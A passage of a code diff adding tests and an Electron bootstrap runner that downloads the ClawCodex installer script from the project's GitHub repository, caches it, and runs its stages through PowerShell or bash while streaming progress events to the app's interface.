+      _download: async (ref, destPath) => {
+        refs.push(ref)
+        fs.mkdirSync(path.dirname(destPath), { recursive: true })
+        fs.writeFileSync(destPath, '#!/bin/sh\necho fallback branch\n')
+
+        return destPath
+      }
+    })
+
+    assert.deepEqual(refs, ['main'])
+    assert.equal(result.source, 'download')
+    assert.equal(result.commit, null)
+    assert.equal(result.path, cachedScriptPath(home, 'fallback-main'))
+    assert.ok(
+      logs.some(ev => /fallback, unpinned/.test(ev.line || '')),
+      'emits an unpinned fallback log line'
+    )
+  } finally {
+    fs.rmSync(home, { recursive: true, force: true })
+  }
+})
+
+test('resolveInstallScript prefers a cached script without touching the network', async () => {
+  const home = mkTmpHome()
+
+  try {
+    const commit = 'a'.repeat(40)
+    const cached = cachedScriptPath(home, commit)
+    fs.mkdirSync(path.dirname(cached), { recursive: true })
+    fs.writeFileSync(cached, '#!/bin/sh\necho cached\n')
+
+    const logs = []
+
+    const result = await resolveInstallScript({
+      installStamp: { commit },
+      sourceRepoRoot: null,
+      clawcodexHome: home,
+      emit: ev => logs.push(ev)
+    })
+
+    assert.equal(result.source, 'cache')
+    assert.equal(result.path, cached)
+  } finally {
+    fs.rmSync(home, { recursive: true, force: true })
+  }
+})
+
+test('resolveInstallScript falls back to the installed agent checkout on a 404', async () => {
+  const home = mkTmpHome()
+
+  try {
+    const commit = 'a'.repeat(40)
+    // Seed the installed agent checkout so the fallback has something to resolve.
+    const scriptsDir = path.join(home, 'clawcodex', 'scripts')
+    fs.mkdirSync(scriptsDir, { recursive: true })
+    const installed = path.join(scriptsDir, SCRIPT_NAME)
+    fs.writeFileSync(installed, '#!/bin/sh\necho fallback\n')
+
+    const logs = []
+
+    const result = await resolveInstallScript({
+      installStamp: { commit },
+      sourceRepoRoot: null,
+      clawcodexHome: home,
+      emit: ev => logs.push(ev),
+      // Simulate GitHub returning a 404 for the pinned commit.
+      _download: async () => {
+        throw new Error('Failed to download install.sh: HTTP 404')
+      }
+    })
+
+    assert.equal(result.source, 'installed-agent')
+    // It should have copied the installer into the bootstrap cache.
+    assert.equal(result.path, cachedScriptPath(home, commit))
+    assert.ok(fs.existsSync(result.path), 'fallback script copied into cache')
+    assert.ok(
+      logs.some(ev => /falling back to installed agent/.test(ev.line || '')),
+      'emits a fallback log line'
+    )
+  } finally {
+    fs.rmSync(home, { recursive: true, force: true })
+  }
+})
+
+test('resolveInstallScript rethrows when the 404 fallback is unavailable', async () => {
+  const home = mkTmpHome()
+
+  try {
+    const commit = 'a'.repeat(40)
+    // No installed agent checkout seeded -> nothing to fall back to.
+    await assert.rejects(
+      resolveInstallScript({
+        installStamp: { commit },
+        sourceRepoRoot: null,
+        clawcodexHome: home,
+        emit: () => {},
+        _download: async () => {
+          throw new Error('Failed to download install.sh: HTTP 404')
+        }
+      }),
+      /HTTP 404|Failed to download/
+    )
+  } finally {
+    fs.rmSync(home, { recursive: true, force: true })
+  }
+})
diff --git a/ui-desktop/electron/bootstrap-runner.ts b/ui-desktop/electron/bootstrap-runner.ts
new file mode 100644
index 000000000..540445401
--- /dev/null
+++ b/ui-desktop/electron/bootstrap-runner.ts
@@ -0,0 +1,1037 @@
+/**
+ * bootstrap-runner.ts
+ *
+ * Drives apps/desktop's first-launch install of ClawCodex by spawning
+ * scripts/install.ps1 stage-by-stage and streaming progress events back to
+ * the renderer.
+ *
+ * Wired from electron/main.ts:
+ *   import { runBootstrap }from './bootstrap-runner'
+ *   const result = await runBootstrap({
+ *     installStamp,        // INSTALL_STAMP from main.ts (may be null in dev)
+ *     activeRoot,          // ACTIVE_CLAWCODEX_ROOT
+ *     sourceRepoRoot,      // SOURCE_REPO_ROOT (for dev install.ps1 lookup)
+ *     clawcodexHome,          // CLAWCODEX_CONFIG_DIR
+ *     logRoot,             // CLAWCODEX_CONFIG_DIR/logs
+ *     emit: ev => {...}    // event sink (sender.send or similar)
+ *   })
+ *
+ * Emits events with shape:
+ *   { type: 'manifest',  stages: [{name, title, category, needs_user_input}, ...] }
+ *   { type: 'stage',     name, state: 'running'|'succeeded'|'skipped'|'failed',
+ *                        json?, durationMs?, error? }
+ *   { type: 'log',       stage?, line, stream: 'stdout'|'stderr' } // raw line from install.ps1
+ *   { type: 'complete',  marker: <written marker payload> }
+ *   { type: 'failed',    stage?, error }     // bootstrap aborted
+ *
+ * Resolves with the same shape as the final 'complete' or 'failed' event so
+ * callers can await either way.
+ *
+ * NOT implemented yet (deferred to Phase 1E / 1F):
+ *   - User-facing retry / cancel from the renderer (event channels exist;
+ *     no UI consumes them yet)
+ */
+
+import { execFileSync, spawn } from 'node:child_process'
+import fs from 'node:fs'
+import fsp from 'node:fs/promises'
+import https from 'node:https'
+import path from 'node:path'
+
+import { hiddenWindowsChildOptions } from './windows-child-options'
+
+const IS_WINDOWS = process.platform === 'win32'
+
+const STAMP_COMMIT_RE = /^[0-9a-f]{7,40}$/i
+const FALLBACK_COMMIT_RE = /^0{7,40}$/
+const FALLBACK_BRANCH = 'main'
+
+function isPinnedCommit(commit) {
+  return typeof commit === 'string' && STAMP_COMMIT_RE.test(commit) && !FALLBACK_COMMIT_RE.test(commit)
+}
+
+type ExecGitFn = (args: string[], cwd: string) => string
+type ResolveHeadFn = (activeRoot: string | null | undefined) => string | null
+
+/**
+ * Read HEAD from a managed checkout. Used after bootstrap so fallback
+ * (all-zero) install stamps still produce a marker that
+ * isBootstrapComplete() accepts (pinnedCommit length >= 7).
+ */
+function resolveCheckoutHead(activeRoot: string | null | undefined, opts: { execGit?: ExecGitFn } = {}): string | null {
+  if (!activeRoot) {
+    return null
+  }
+
+  const run: ExecGitFn =
+    opts.execGit ||
+    ((args, cwd) =>
+      execFileSync('git', args, {
+        cwd,
+        encoding: 'utf8',
+        stdio: ['ignore', 'pipe', 'ignore'],
+        timeout: 15_000,
+        ...hiddenWindowsChildOptions()
+      }).trim())
+
+  try {
+    const sha = run(['-c', 'windows.appendAtomically=false', 'rev-parse', 'HEAD'], activeRoot)
+
+    return isPinnedCommit(sha) ? sha : null
+  } catch {
+    return null
+  }
+}
+
+/** Prefer a real pin already written by install.ps1's bootstrap-marker stage. */
+function readExistingPinnedCommit(activeRoot: string | null | undefined): string | null {
+  if (!activeRoot) {
+    return null
+  }
+
+  try {
+    const raw = fs.readFileSync(path.join(activeRoot, '.clawcodex-bootstrap-complete'), 'utf8')
+    const parsed = JSON.parse(raw)
+
+    return parsed && isPinnedCommit(parsed.pinnedCommit) ? parsed.pinnedCommit : null
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Pick the commit to store on the bootstrap-complete marker.
+ * Packaged fallback stamps must NOT win (all-zero is not a real pin); after a
+ * successful install the checkout's HEAD (or install.ps1's marker) does.
+ */
+function resolveMarkerPinnedCommit(
+  installStamp: { commit?: string; branch?: string | null } | null | undefined,
+  activeRoot: string | null | undefined,
+  opts: { resolveHead?: ResolveHeadFn } = {}
+): string | null {
+  const resolveHead = opts.resolveHead || resolveCheckoutHead
+
+  if (installStamp && isPinnedCommit(installStamp.commit)) {
+    return installStamp.commit
+  }
+
+  const head = resolveHead(activeRoot)
+
+  if (head) {
+    return head
+  }
+
+  return readExistingPinnedCommit(activeRoot)
+}
+
+/**
+ * Map an install stamp to the GitHub ref used to fetch install.ps1/sh.
+ * Real CI/git stamps pin an immutable SHA. Non-git fallback stamps carry an
+ * all-zero placeholder -- treat those as an unpinned branch ref so bootstrap
+ * never asks GitHub for commit 0000000... (#50823).
+ */
+function installRefForStamp(installStamp) {
+  if (installStamp && isPinnedCommit(installStamp.commit)) {
+    return {
+      ref: installStamp.commit,
+      cacheKey: installStamp.commit,
+      pinned: true
+    }
+  }
+
+  if (installStamp && typeof installStamp.commit === 'string' && FALLBACK_COMMIT_RE.test(installStamp.commit)) {
+    const ref = installStamp.branch || FALLBACK_BRANCH
+
+    return {
+      ref,
+      cacheKey: `fallback-${String(ref).replace(/[^0-9A-Za-z._-]/g, '_')}`,
+      pinned: false
+    }
+  }
+
+  return null
+}
+
+// Stages flagged needs_user_input=true in the manifest are skipped by the
+// runner (passed -NonInteractive to install.ps1, which the install script
+// itself handles by emitting skipped=true frames). The renderer / 1E onboarding
+// overlay takes over for those concerns (API keys, model, persona, gateway).
+// We let install.ps1's own -NonInteractive logic drive this rather than
+// filtering client-side -- single source of truth.
+
+// ---------------------------------------------------------------------------
+// install.ps1 source resolution
+// ---------------------------------------------------------------------------
+
+function installScriptName() {
+  return process.platform === 'win32' ? 'install.ps1' : 'install.sh'
+}
+
+function installScriptKind() {
+  return process.platform === 'win32' ? 'powershell' : 'posix'
+}
+
+function resolveLocalInstallScript(sourceRepoRoot) {
+  if (!sourceRepoRoot) {
+    return null
+  }
+
+  const candidate = path.join(sourceRepoRoot, 'scripts', installScriptName())
+
+  try {
+    fs.accessSync(candidate, fs.constants.R_OK)
+
+    return candidate
+  } catch {
+    return null
+  }
+}
+
+function bootstrapCacheDir(clawcodexHome) {
+  return path.join(clawcodexHome, 'bootstrap-cache')
+}
+
+// The install.sh / install.ps1 that ships inside the already-installed agent
+// checkout under ~/.clawcodex/clawcodex. Used as a last-resort fallback when
+// the pinned commit can't be fetched from GitHub (e.g. a locally-built desktop
+// app stamped to an unpushed HEAD).
+function installedAgentInstallScript(clawcodexHome) {
+  if (!clawcodexHome) {
+    return null
+  }
+
+  const candidate = path.join(clawcodexHome, 'clawcodex', 'scripts', installScriptName())
+
+  try {
+    fs.accessSync(candidate, fs.constants.R_OK)
+
+    return candidate
+  } catch {
+    return null
+  }
+}
+
+function hasExistingGitCheckout(activeRoot) {
+  if (!activeRoot) {
+    return false
+  }
+
+  try {
+    return fs.existsSync(path.join(activeRoot, '.git'))
+  } catch {
+    return false
+  }
+}
+
+function cachedScriptPath(clawcodexHome, commit) {
+  return path.join(bootstrapCacheDir(clawcodexHome), `install-${commit}.${process.platform === 'win32' ? 'ps1' : 'sh'}`)
+}
+
+function downloadInstallScript(ref, destPath) {
+  // Fetch from GitHub raw at the install ref. Normal production builds pass a
+  // pinned SHA (immutable). Non-git fallback builds pass an unpinned branch
+  // ref so local builds can still bootstrap without pretending the all-zero
+  // placeholder is a real GitHub commit.
+  const scriptName = installScriptName()
+  const url = `https://raw.githubusercontent.com/agentforce314/clawcodex/${ref}/scripts/${scriptName}`
+
+  return new Promise((resolve, reject) => {
+    fs.mkdirSync(path.dirname(destPath), { recursive: true })
+    const tmpPath = destPath + '.tmp'
+    const out = fs.createWriteStream(tmpPath)
+    https
+      .get(url, res => {
+        if (res.statusCode === 301 || res.statusCode === 302) {
+          // GitHub raw shouldn't redirect for a SHA URL, but follow once
+          // defensively.
+          out.close()
+          fs.unlinkSync(tmpPath)
+          https
+            .get(res.headers.location, res2 => {
+              if (res2.statusCode !== 200) {
+                reject(
+                  new Error(
+                    `Failed to download ${scriptName}: HTTP ${res2.statusCode} from redirect ${res.headers.location}`
+                  )
+                )
+
+                return
+              }
+
+              const out2 = fs.createWriteStream(tmpPath)
+              res2.pipe(out2)
+              out2.on('finish', () => {
+                out2.close()
+                fs.renameSync(tmpPath, destPath)
+                resolve(destPath)
+              })
+              out2.on('error', reject)
+            })
+            .on('error', reject)
+
+          return
+        }
+
+        if (res.statusCode !== 200) {
+          out.close()
+
+          try {
+            fs.unlinkSync(tmpPath)
+          } catch {
+            void 0
+          }
+
+          reject(new Error(`Failed to download ${scriptName}: HTTP ${res.statusCode} from ${url}`))
+
+          return
+        }
+
+        res.pipe(out)
+        out.on('finish', () => {
+          out.close()
+          fs.renameSync(tmpPath, destPath)
+          resolve(destPath)
+        })
+        out.on('error', err => {
+          try {
+            fs.unlinkSync(tmpPath)
+          } catch {
+            void 0
+          }
+
+          reject(err)
+        })
+      })
+      .on('error', err => {
+        try {
+          fs.unlinkSync(tmpPath)
+        } catch {
+          void 0
+        }
+
+        reject(err)
+      })
+  })
+}
+
+async function resolveInstallScript({
+  installStamp,
+  sourceRepoRoot,
+  clawcodexHome,
+  emit,
+  _download = downloadInstallScript
+}) {
+  // 1. Dev shortcut: prefer a local checkout's installer so we can iterate
+  //    without pushing. SOURCE_REPO_ROOT comes from main.ts (path.resolve
+  //    of APP_ROOT/../..).
+  const localScript = resolveLocalInstallScript(sourceRepoRoot)
+
+  if (localScript) {
+    emit({ type: 'log', line: `[bootstrap] using local ${installScriptName()} at ${localScript}` })
+
+    return { path: localScript, source: 'local', kind: installScriptKind() }
+  }
+
+  // 2. Packaged path: download from GitHub at the install stamp's ref.
+  // Non-git fallback builds carry an all-zero commit; treat that as an
+  // unpinned branch ref instead of trying to fetch a non-existent SHA.
+  const installRef = installRefForStamp(installStamp)
+
+  if (!installRef) {
+    throw new Error(
+      `Cannot resolve ${installScriptName()}: no SOURCE_REPO_ROOT and no install stamp. ` +
+        'This packaged build was produced without a valid build-time stamp.'
+    )
+  }
+
+  const cached = cachedScriptPath(clawcodexHome, installRef.cacheKey)
+  const resolvedCommit = installRef.pinned ? installRef.ref : null
+
+  try {
+    await fsp.access(cached, fs.constants.R_OK)
+    emit({
+      type: 'log',
+      line: `[bootstrap] using cached ${installScriptName()} for ${installRef.ref.slice(0, 12)}`
+    })
+
+    return { path: cached, source: 'cache', commit: resolvedCommit, kind: installScriptKind() }
+  } catch {
+    // not cached; download
+  }
+
+  emit({
+    type: 'log',
+    line:
+      `[bootstrap] fetching ${installScriptName()} for ${installRef.ref.slice(0, 12)} from GitHub` +
+      (installRef.pinned ? '' : ' (fallback, unpinned)')
+  })
+
+  try {
+    await _download(installRef.ref, cached)
+    emit({ type: 'log', line: `[bootstrap] saved to ${cached}` })
+
+    return { path: cached, source: 'download', commit: resolvedCommit, kind: installScriptKind() }
+  } catch (err) {
+    // The pinned commit may not be fetchable from GitHub -- most commonly a
+    // locally-built desktop app stamped to an unpushed HEAD (see
+    // write-build-stamp.mjs fromLocalGit). Fall back to the installer that
+    // ships inside the already-installed agent checkout so dev/self-builds can
+    // still bootstrap instead of dying with a fatal 404.
+    const installed = installedAgentInstallScript(clawcodexHome)
+
+    if (installed) {
+      emit({
+        type: 'log',
+        line:
+          `[bootstrap] GitHub fetch failed (${err.message}); ` +
+          `falling back to installed agent ${installScriptName()} at ${installed}`
+      })
+
+      try {
+        fs.mkdirSync(path.dirname(cached), { recursive: true })
+        fs.copyFileSync(installed, cached)
+
+        return { path: cached, source: 'installed-agent', commit: resolvedCommit, kind: installScriptKind() }
+      } catch {
+        // Cache copy failed (read-only FS, etc.) -- use the source path directly.
+        return { path: installed, source: 'installed-agent', commit: resolvedCommit, kind: installScriptKind() }
+      }
+    }
+
+    throw err
+  }
+}
+
+// ---------------------------------------------------------------------------
+// powershell wrapper
+// ---------------------------------------------------------------------------
+
+// Canonical PowerShell 5.1 location under a Windows root (%SystemRoot%).
+function powershellUnderRoot(root) {
+  return path.join(root, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe')
+}
+
+// Resolve the PowerShell interpreter to spawn.
+//
+// Spawning bare 'powershell.exe' trusts PATH to contain
+// %SystemRoot%\System32\WindowsPowerShell\v1.0. On machines whose PATH was
+// trimmed, truncated, or stored as a non-expanding REG_SZ (so %SystemRoot%
+// never expands), that lookup fails and the spawn dies with ENOENT before
+// install.ps1 ever runs — the installer stalls at "0 of 0 steps". Resolve by
+// absolute path first, then fall back to PATH (powershell 5.1, then pwsh 7),
+// then a bare name as a last resort.
+function resolveWindowsPowerShell() {
+  for (const v of ['SystemRoot', 'windir']) {
+    const root = process.env[v]
+
+    if (root) {
+      const candidate = powershellUnderRoot(root)
+
+      try {
+        if (fs.statSync(candidate).isFile()) {
+          return candidate
+        }
+      } catch {
+        void 0
+      }
+    }
+  }
+
+  const pathDirs = (process.env.PATH || process.env.Path || '').split(path.delimiter).filter(Boolean)
+
+  for (const exe of ['powershell.exe', 'pwsh.exe']) {
+    for (const dir of pathDirs) {
+      const candidate = path.join(dir, exe)
+
+      try {
+        if (fs.statSync(candidate).isFile()) {
+          return candidate
+        }
+      } catch {
+        void 0
+      }
+    }
+  }
+
+  return 'powershell.exe'
+}
+
+function spawnPowerShell(scriptPath, args, { emit, stageName, abortSignal, clawcodexHome }: any = {}) {
+  return new Promise<any>((resolve, reject) => {
+    const ps = process.platform === 'win32' ? resolveWindowsPowerShell() : 'pwsh'
+    const fullArgs = ['-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', scriptPath, ...args]
+
+    const child = spawn(
+      ps,
+      fullArgs,
+      hiddenWindowsChildOptions({
+        stdio: ['ignore', 'pipe', 'pipe'],
+        env: {
+          ...process.env,
+          // Pass CLAWCODEX_CONFIG_DIR through so install.ps1 respects the caller's
+          // choice rather than re-computing the default.
+          CLAWCODEX_CONFIG_DIR: clawcodexHome || process.env.CLAWCODEX_CONFIG_DIR || ''
+        }
+      })
+    )
+
+    let stdout = ''
+    let stderr = ''
+    let killed = false
+
+    const onAbort = () => {
+      killed = true
+
+      try {
+        child.kill('SIGTERM')
+      } catch {
+        void 0
+      }
+    }
+
+    if (abortSignal) {
+      if (abortSignal.aborted) {
+        onAbort()
+      } else {
+        abortSignal.addEventListener('abort', onAbort, { once: true })
+      }
+    }
+
+    child.stdout.setEncoding('utf8')
+    child.stderr.setEncoding('utf8')
+
+    // Stream stdout line-by-line so the renderer sees progress in real time.
+    let stdoutBuf = ''
+    child.stdout.on('data', chunk => {
+      stdout += chunk
+      stdoutBuf += chunk
+      let nl
+
+      while ((nl = stdoutBuf.indexOf('\n')) !== -1) {
+        const line = stdoutBuf.slice(0, nl).replace(/\r$/, '')
+        stdoutBuf = stdoutBuf.slice(nl + 1)
+
+        if (line) {
+          emit && emit({ type: 'log', stage: stageName, line, stream: 'stdout' })
+        }
+      }
+    })
+
+    let stderrBuf = ''
+    child.stderr.on('data', chunk => {
+      stderr += chunk
+      stderrBuf += chunk
+      let nl
+
+      while ((nl = stderrBuf.indexOf('\n')) !== -1) {
+        const line = stderrBuf.slice(0, nl).replace(/\r$/, '')
+        stderrBuf = stderrBuf.slice(nl + 1)
+
+        if (line) {
+          emit && emit({ type: 'log', stage: stageName, line, stream: 'stderr' })
+        }
+      }
+    })
+
+    child.on('error', err => {
+      if (abortSignal) {
+        abortSignal.removeEventListener('abort', onAbort)
+      }
+
+      reject(err)
+    })
+
+    child.on('close', (code, signal) => {
+      if (abortSignal) {
+        abortSignal.removeEventListener('abort', onAbort)
+      }
+
+      // Flush any trailing bytes
+      if (stdoutBuf) {
+        emit && emit({ type: 'log', stage: stageName, line: stdoutBuf, stream: 'stdout' } as any)
+      }
+
+      if (stderrBuf) {
+        emit && emit({ type: 'log', stage: stageName, line: stderrBuf, stream: 'stderr' } as any)
+      }
+
+      resolve({ stdout, stderr, code, signal, killed } as any)
+    })
+  })
+}
+
+function spawnBash(scriptPath, args, { emit, stageName, abortSignal, clawcodexHome }: any = {}) {
+  return new Promise<any>((resolve, reject) => {
+    const child = spawn('bash', [scriptPath, ...args], {
+      stdio: ['ignore', 'pipe', 'pipe'],
+      env: {
+        ...process.env,
+        CLAWCODEX_CONFIG_DIR: clawcodexHome || process.env.CLAWCODEX_CONFIG_DIR || ''
+      }
+    })
+
+    let stdout = ''
+    let stderr = ''
+    let killed = false
+
+    const onAbort = () => {
+      killed = true
+
+      try {
+        child.kill('SIGTERM')
+      } catch {
+        void 0
+      }
+    }
+
+    if (abortSignal) {
+      if (abortSignal.aborted) {
+        onAbort()
+      } else {
+        abortSignal.addEventListener('abort', onAbort, { once: true })
+      }
+    }
+
+    child.stdout.setEncoding('utf8')
+    child.stderr.setEncoding('utf8')
+
+    let stdoutBuf = ''
+    child.stdout.on('data', chunk => {
+      stdout += chunk
+      stdoutBuf += chunk
+      let nl
+
+      while ((nl = stdoutBuf.indexOf('\n')) !== -1) {
+        const line = stdoutBuf.slice(0, nl).replace(/\r$/, '')
+        stdoutBuf = stdoutBuf.slice(nl + 1)
+
+        if (line) {
+          emit && emit({ type: 'log', stage: stageName, line, stream: 'stdout' })
+        }
+      }
+    })
+
+    let stderrBuf = ''
+    child.stderr.on('data', chunk => {
+      stderr += chunk
+      stderrBuf += chunk
+      let nl
+
+      while ((nl = stderrBuf.indexOf('\n')) !== -1) {
+        const line = stderrBuf.slice(0, nl).replace(/\r$/, '')
+        stderrBuf = stderrBuf.slice(nl + 1)
+
+        if (line) {
+          emit && emit({ type: 'log', stage: stageName, line, stream: 'stderr' })
+        }
+      }
+    })
+
+    child.on('error', err => {
+      if (abortSignal) {
+        abortSignal.removeEventListener('abort', onAbort)
+      }
+
+      reject(err)
+    })
+
+    child.on('close', (code, signal) => {
+      if (abortSignal) {
+        abortSignal.removeEventListener('abort', onAbort)
+      }
+
+      if (stdoutBuf) {
+        emit && emit({ type: 'log', stage: stageName, line: stdoutBuf, stream: 'stdout' })
+      }
+
+      if (stderrBuf) {
+        emit && emit({ type: 'log', stage: stageName, line: stderrBuf, stream: 'stderr' })
+      }
+
+      resolve({ stdout, stderr, code, signal, killed })
+    })
+  })
+}
+
+// ---------------------------------------------------------------------------
+// Manifest + stage dispatch
+// ---------------------------------------------------------------------------
+
+// Build the installer branch/pin args from the install stamp. The commit pin
+// is fresh-install only: once a managed checkout already exists, bootstrap is
+// a repair/update path and must not let an old packaged app detach the checkout
+// back to the commit baked into that app. All-zero fallback stamps are never
+// passed as -Commit/--commit — only the branch is used (#50823 / #50864 review).
+function buildPinArgs(installStamp, { pinCommit = true } = {}) {
+  const args = []
+
+  if (pinCommit && installStamp && isPinnedCommit(installStamp.commit)) {
+    args.push('-Commit', installStamp.commit)
+  }
+
+  if (installStamp && installStamp.branch) {
+    args.push('-Branch', installStamp.branch)
+  }
+
+  return args
+}
+
+function buildPosixPinArgs({ installStamp, activeRoot, clawcodexHome, pinCommit = true }) {
+  const args = ['--dir', activeRoot, '--clawcodex-home', clawcodexHome]
+
+  if (installStamp && installStamp.branch) {
+    args.push('--branch', installStamp.branch)
+  }
+
+  if (pinCommit && installStamp && isPinnedCommit(installStamp.commit)) {
+    args.push('--commit', installStamp.commit)
+  }
+
+  return args
+}
+
+async function fetchManifest({ scriptPath, installerKind, emit, clawcodexHome, activeRoot, installStamp, pinCommit }) {
+  const isPosix = installerKind === 'posix'
+
+  const args = isPosix
+    ? ['--manifest', ...buildPosixPinArgs({ installStamp, activeRoot, clawcodexHome, pinCommit })]
+    : ['-Manifest', ...buildPinArgs(installStamp, { pinCommit })]
+
+  const result = await (isPosix ? spawnBash : spawnPowerShell)(scriptPath, args, {
+    emit,
+    stageName: '__manifest__',
+    clawcodexHome
+  })
+
+  if (result.code !== 0) {
+    throw new Error(
+      `${isPosix ? 'install.sh --manifest' : 'install.ps1 -Manifest'} failed: exit ${result.code}\n${result.stderr || result.stdout}`
+    )
+  }
+
+  // The manifest is the LAST JSON line on stdout (install.ps1 may print
+  // banner / info lines first depending on Console.OutputEncoding effects).
+  // Find the last line that parses as JSON with a `stages` field.
+  const lines = result.stdout.split(/\r?\n/).filter(Boolean)
+
+  for (let i = lines.length - 1; i >= 0; i--) {
+    try {
+      const parsed = JSON.parse(lines[i])
+
+      if (parsed && Array.isArray(parsed.stages)) {
+        return parsed
+      }
+    } catch {
+      void 0
+    }
+  }
+
+  throw new Error(
+    `${isPosix ? 'install.sh --manifest' : 'install.ps1 -Manifest'} produced no parseable JSON payload\n${result.stdout}`
+  )
+}
+
+// Parse the JSON result frame from a stage run. The protocol guarantees
+// exactly one JSON line per stage in -Json or -Stage mode (post #27224 fix
+// for the double-emit bug we addressed in the install.ps1 PR).
+function parseStageResult(stdout) {
+  const lines = stdout.split(/\r?\n/).filter(Boolean)
+
+  for (let i = lines.length - 1; i >= 0; i--) {
+    try {
+      const parsed = JSON.parse(lines[i])
+
+      if (parsed && typeof parsed.ok === 'boolean' && typeof parsed.stage === 'string') {
+        return parsed
+      }
+    } catch {
+      void 0
+    }
+  }
+
+  return null
+}
+
+async function runStage({
+  scriptPath,
+  installerKind,
+  stage,
+  emit,
+  clawcodexHome,
+  activeRoot,
+  abortSignal,
+  installStamp,
+  pinCommit
+}) {
+  const startedAt = Date.now()
+  emit({ type: 'stage', name: stage.name, state: 'running' })
+
+  const isPosix = installerKind === 'posix'
+
+  const args = isPosix
+    ? [
+        '--stage',
+        stage.name,
+        '--non-interactive',
+        '--json',
+        ...buildPosixPinArgs({ installStamp, activeRoot, clawcodexHome, pinCommit })
+      ]
+    : ['-Stage', stage.name, '-NonInteractive', '-Json', ...buildPinArgs(installStamp, { pinCommit })]
+
+  const result = await (isPosix ? spawnBash : spawnPowerShell)(scriptPath, args, {
+    emit,
+    stageName: stage.name,
+    abortSignal,
+    clawcodexHome
+  })
+
+  const durationMs = Date.now() - startedAt
+
+  if (result.killed) {
+    const ev = { type: 'stage', name: stage.name, state: 'failed', durationMs, error: 'cancelled by user' }
+    emit(ev)
+
+    return ev
+  }
+
+  const json = parseStageResult(result.stdout)
+
+  if (!json) {
+    const ev = {
+      type: 'stage',
+      name: stage.name,
+      state: 'failed',
+      durationMs,
+      error: `${isPosix ? 'install.sh --stage' : 'install.ps1 -Stage'} ${stage.name} produced no JSON result frame (exit=${result.code})`,
+      json: null
+    }
+
+    emit(ev)
+
+    return ev
+  }
+
+  if (json.ok && json.skipped) {
+    const ev = { type: 'stage', name: stage.name, state: 'skipped', durationMs, json }
+    emit(ev)
+
+    return ev
+  }
+
+  if (json.ok) {
+    const ev = { type: 'stage', name: stage.name, state: 'succeeded', durationMs, json }
+    emit(ev)
+
+    return ev
+  }
+
+  const ev = {
+    type: 'stage',
+    name: stage.name,
+    state: 'failed',
+    durationMs,
+    json,
+    error: json.reason || `exit code ${result.code}`
+  }
+
+  emit(ev)
+
+  return ev
+}
+
+// ---------------------------------------------------------------------------
+// Per-run log file
+// ---------------------------------------------------------------------------
+
+function openRunLog(logRoot) {
+  fs.mkdirSync(logRoot, { recursive: true })
+  const ts = new Date().toISOString().replace(/[:.]/g, '-')
+  const logPath = path.join(logRoot, `bootstrap-${ts}.log`)
+  const stream = fs.createWriteStream(logPath, { flags: 'a' })
+
+  return { path: logPath, stream }
+}
+
+// ---------------------------------------------------------------------------
+// Public entrypoint
+// ---------------------------------------------------------------------------
+
+async function runBootstrap(opts) {
+  const {
+    installStamp,
+    activeRoot,
+    sourceRepoRoot,
+    clawcodexHome,
+    logRoot,
+    onEvent,
+    abortSignal,
+    writeMarker // callback to write the bootstrap-complete marker; main.ts provides
+  } = opts
+
+  // Bail before spawning anything if the user already cancelled — otherwise an
+  // already-aborted signal would still fetch the manifest (a spawn) before the
+  // in-loop abort check fires.
+  if (abortSignal && abortSignal.aborted) {
+    if (typeof onEvent === 'function') {
+      try {
+        onEvent({ type: 'failed', error: 'bootstrap cancelled by user' })
+      } catch {
+        void 0
+      }
+    }
+
+    return { ok: false, cancelled: true }
+  }
+
+  const runLog = openRunLog(logRoot || path.join(clawcodexHome, 'logs'))
+
+  // Tee every event to the runLog AND the caller's onEvent. This gives us a
+  // forensic trail per bootstrap run AND lets the renderer subscribe live.
+  const emit = ev => {
+    try {
+      runLog.stream.write(JSON.stringify(ev) + '\n')
+    } catch {
+      void 0
+    }
+
+    try {
+      if (typeof onEvent === 'function') {
+        onEvent(ev)
+      }
+    } catch (err) {
+      // Don't let a subscriber bug crash the bootstrap
+      runLog.stream.write(`emit error: ${err && err.message}\n`)
+    }
+  }
+
+  emit({
+    type: 'log',
+    line:
+      `[bootstrap] starting at ${new Date().toISOString()}; ` +
+      `activeRoot=${activeRoot}; ` +
+      `stamp=${installStamp ? installStamp.commit.slice(0, 12) : '<none>'}; ` +
+      `runLog=${runLog.path}`
+  })
+
+  try {
+    const existingCheckout = hasExistingGitCheckout(activeRoot)
+    const pinCommit = !existingCheckout
+
+    if (existingCheckout && installStamp && installStamp.commit) {
+      emit({
+        type: 'log',
+        line:
+          `[bootstrap] existing checkout detected at ${activeRoot}; ` +
+          `not pinning to packaged install stamp ${installStamp.commit.slice(0, 12)}`
+      })
+    }
+
+    // 1. Resolve the platform installer.
+    const scriptInfo = await resolveInstallScript({ installStamp, sourceRepoRoot, clawcodexHome, emit })
+    const installerKind = scriptInfo.kind || 'powershell'
+
+    // 2. Fetch manifest
+    const manifest = await fetchManifest({
+      scriptPath: scriptInfo.path,
+      installerKind,
+      emit,
+      clawcodexHome,
+      activeRoot,
+      installStamp,
+      pinCommit
+    })
+
+    emit({
+      type: 'manifest',
+      stages: manifest.stages,
+      protocolVersion: manifest.protocol_version || manifest.protocolVersion || null
+    })
+
+    // 3. Iterate stages in order. Stages flagged needs_user_input are still
+    //    invoked -- install.ps1's own -NonInteractive handler in those stages
+    //    emits skipped=true. We trust the protocol rather than filtering
+    //    client-side.
+    for (const stage of manifest.stages) {
+      if (abortSignal && abortSignal.aborted) {
+        emit({ type: 'failed', error: 'bootstrap cancelled by user' })
+
+        return { ok: false, cancelled: true }
+      }
+
+      const ev = await runStage({
+        scriptPath: scriptInfo.path,
+        installerKind,
+        stage,
+        emit,
+        clawcodexHome,
+        activeRoot,
+        abortSignal,
+        installStamp,
+        pinCommit
+      })
+
+      if (ev.state === 'failed') {
+        emit({ type: 'failed', stage: stage.name, error: (ev as any).error || 'stage failed' })
+
+        return { ok: false, failedStage: stage.name, error: (ev as any).error }
+      }
+    }
+
+    // 4. Write the bootstrap-complete marker. Fallback (all-zero) stamps are
+    // not real pins -- resolve HEAD from the checkout we just installed so
+    // isBootstrapComplete() (pinnedCommit.length >= 7) accepts the marker
+    // instead of re-running bootstrap on every launch (#50823 review).
+    const pinnedCommit = resolveMarkerPinnedCommit(installStamp, activeRoot)
+
+    if (!pinnedCommit) {
+      emit({
+        type: 'log',
+        line:
+          '[bootstrap] WARNING: could not resolve a real pinnedCommit for the ' +
+          'bootstrap-complete marker; subsequent launches may re-run bootstrap'
+      })
